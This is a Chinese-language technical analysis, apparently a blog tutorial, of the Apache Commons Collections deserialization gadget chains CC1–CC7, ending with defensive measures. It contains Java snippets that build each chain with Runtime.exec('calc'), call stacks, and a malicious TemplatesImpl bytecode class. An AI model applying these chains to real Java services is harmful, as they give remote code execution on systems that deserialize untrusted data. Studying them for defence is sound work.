CC链 1-7 分析
字数 788 2025-08-05 13:25:37
Apache Commons Collections 反序列化漏洞分析 (CC1-CC7)
一、核心组件分析
1.1 Transformer接口及其实现类
ConstantTransformer
public class ConstantTransformer implements Transformer, Serializable {
private final Object iConstant;
public Object transform(Object input) {
return this.iConstant; // 总是返回构造函数传入的常量对象
}
}
InvokerTransformer
public class InvokerTransformer implements Transformer, Serializable {
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
public Object transform(Object input) {
// 反射调用指定方法
Method method = input.getClass().getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}
}
InstantiateTransformer
public class InstantiateTransformer implements Transformer, Serializable {
private final Class[] iParamTypes;
private final Object[] iArgs;
public Object transform(Object input) {
// 反射调用构造函数实例化类
Constructor con = ((Class)input).getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
}
ChainedTransformer
public class ChainedTransformer implements Transformer, Serializable {
private final Transformer[] iTransformers;
public Object transform(Object object) {
// 链式调用多个Transformer
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
}
1.2 LazyMap
public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
protected final Transformer factory;
public Object get(Object key) {
if (!super.map.containsKey(key)) {
// 关键触发点
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
}
}
}
1.3 TemplatesImpl
public final class TemplatesImpl implements Templates, Serializable {
private byte[][] _bytecodes;
public synchronized Transformer newTransformer() {
return new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
}
private Translet getTransletInstance() {
if (_class == null) defineTransletClasses();
return (AbstractTranslet) _class[_transletIndex].newInstance();
}
private void defineTransletClasses() {
// 动态加载字节码
_class[i] = loader.defineClass(_bytecodes[i]);
}
}
二、漏洞链分析
CC1 (Commons Collections 3.1-3.2.1, JDK<u71)
// 攻击链构造
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
// 通过AnnotationInvocationHandler触发
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
调用栈:
-> AnnotationInvocationHandler.readObject()
-> Proxy.entrySet().iterator()
-> AnnotationInvocationHandler.invoke()
-> LazyMap.get()
-> ChainedTransformer.transform()
-> 执行命令
CC2 (Commons Collections 4.0)
// 使用PriorityQueue触发
Transformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1); queue.add(1);
// 反射设置queue和comparator
setFieldValue(queue, "queue", new Object[]{templates, templates});
setFieldValue(queue, "comparator", comparator);
调用栈:
-> PriorityQueue.readObject()
-> heapify()
-> siftDown()
-> siftDownUsingComparator()
-> TransformingComparator.compare()
-> InvokerTransformer.transform()
-> TemplatesImpl.newTransformer()
-> 执行字节码
CC3 (Commons Collections 3.1-3.2.1, JDK<=7u21)
// 结合TemplatesImpl和TrAXFilter
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
// 后续与CC1相同使用AnnotationInvocationHandler触发
调用栈:
-> AnnotationInvocationHandler.readObject()
-> ...
-> ChainedTransformer.transform()
-> InstantiateTransformer.transform()
-> TrAXFilter构造函数
-> TemplatesImpl.newTransformer()
-> 执行字节码
CC4 (Commons Collections 4.0)
// 类似CC2但使用InstantiateTransformer替代InvokerTransformer
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
TransformingComparator comparator = new TransformingComparator(chain);
// 后续与CC2相同使用PriorityQueue触发
CC5 (Commons Collections 3.1-3.2.1, JDK1.7/1.8)
// 使用TiedMapEntry和BadAttributeValueExpException触发
TiedMapEntry entry = new TiedMapEntry(lazyMap, "test");
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
setFieldValue(bad, "val", entry);
调用栈:
-> BadAttributeValueExpException.readObject()
-> TiedMapEntry.toString()
-> TiedMapEntry.getValue()
-> LazyMap.get()
-> ChainedTransformer.transform()
-> 执行命令
CC6 (Commons Collections 3.1-3.2.1, JDK1.7/1.8)
// 使用TiedMapEntry和HashMap触发
TiedMapEntry entry = new TiedMapEntry(lazyMap, "test");
HashMap map = new HashMap();
map.put(entry, "value");
调用栈:
-> HashMap.readObject()
-> hash()
-> TiedMapEntry.hashCode()
-> TiedMapEntry.getValue()
-> LazyMap.get()
-> ChainedTransformer.transform()
-> 执行命令
CC7 (Commons Collections 3.1-3.2.1, JDK1.7/1.8)
// 使用Hashtable和两个LazyMap触发hash碰撞
Map lazyMap1 = LazyMap.decorate(new HashMap(), chain);
Map lazyMap2 = LazyMap.decorate(new HashMap(), chain);
lazyMap1.put("yy", 1);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, "test");
hashtable.put(lazyMap2, "test");
调用栈:
-> Hashtable.readObject()
-> reconstitutionPut()
-> AbstractMap.equals()
-> LazyMap.get()
-> ChainedTransformer.transform()
-> 执行命令
三、恶意字节码构造
public class EvilClass extends AbstractTranslet {
public EvilClass() throws Exception {
Runtime.getRuntime().exec("calc");
}
@Override public void transform(DOM document, SerializationHandler[] handlers) {}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
}
编译后Base64编码的字节码可用于TemplatesImpl攻击。
四、防御措施
- 升级Commons Collections到安全版本(3.2.2+或4.1+)
- 使用JDK自带的安全管理器
- 对反序列化操作进行严格限制
- 使用白名单机制控制可反序列化的类
五、总结
CC链的核心是利用反序列化过程触发Transformer的transform方法,通过精心构造的调用链最终执行任意代码。不同CC链的区别主要在于触发方式和使用的Transformer组合。理解这些漏洞链有助于更好地防御Java反序列化漏洞。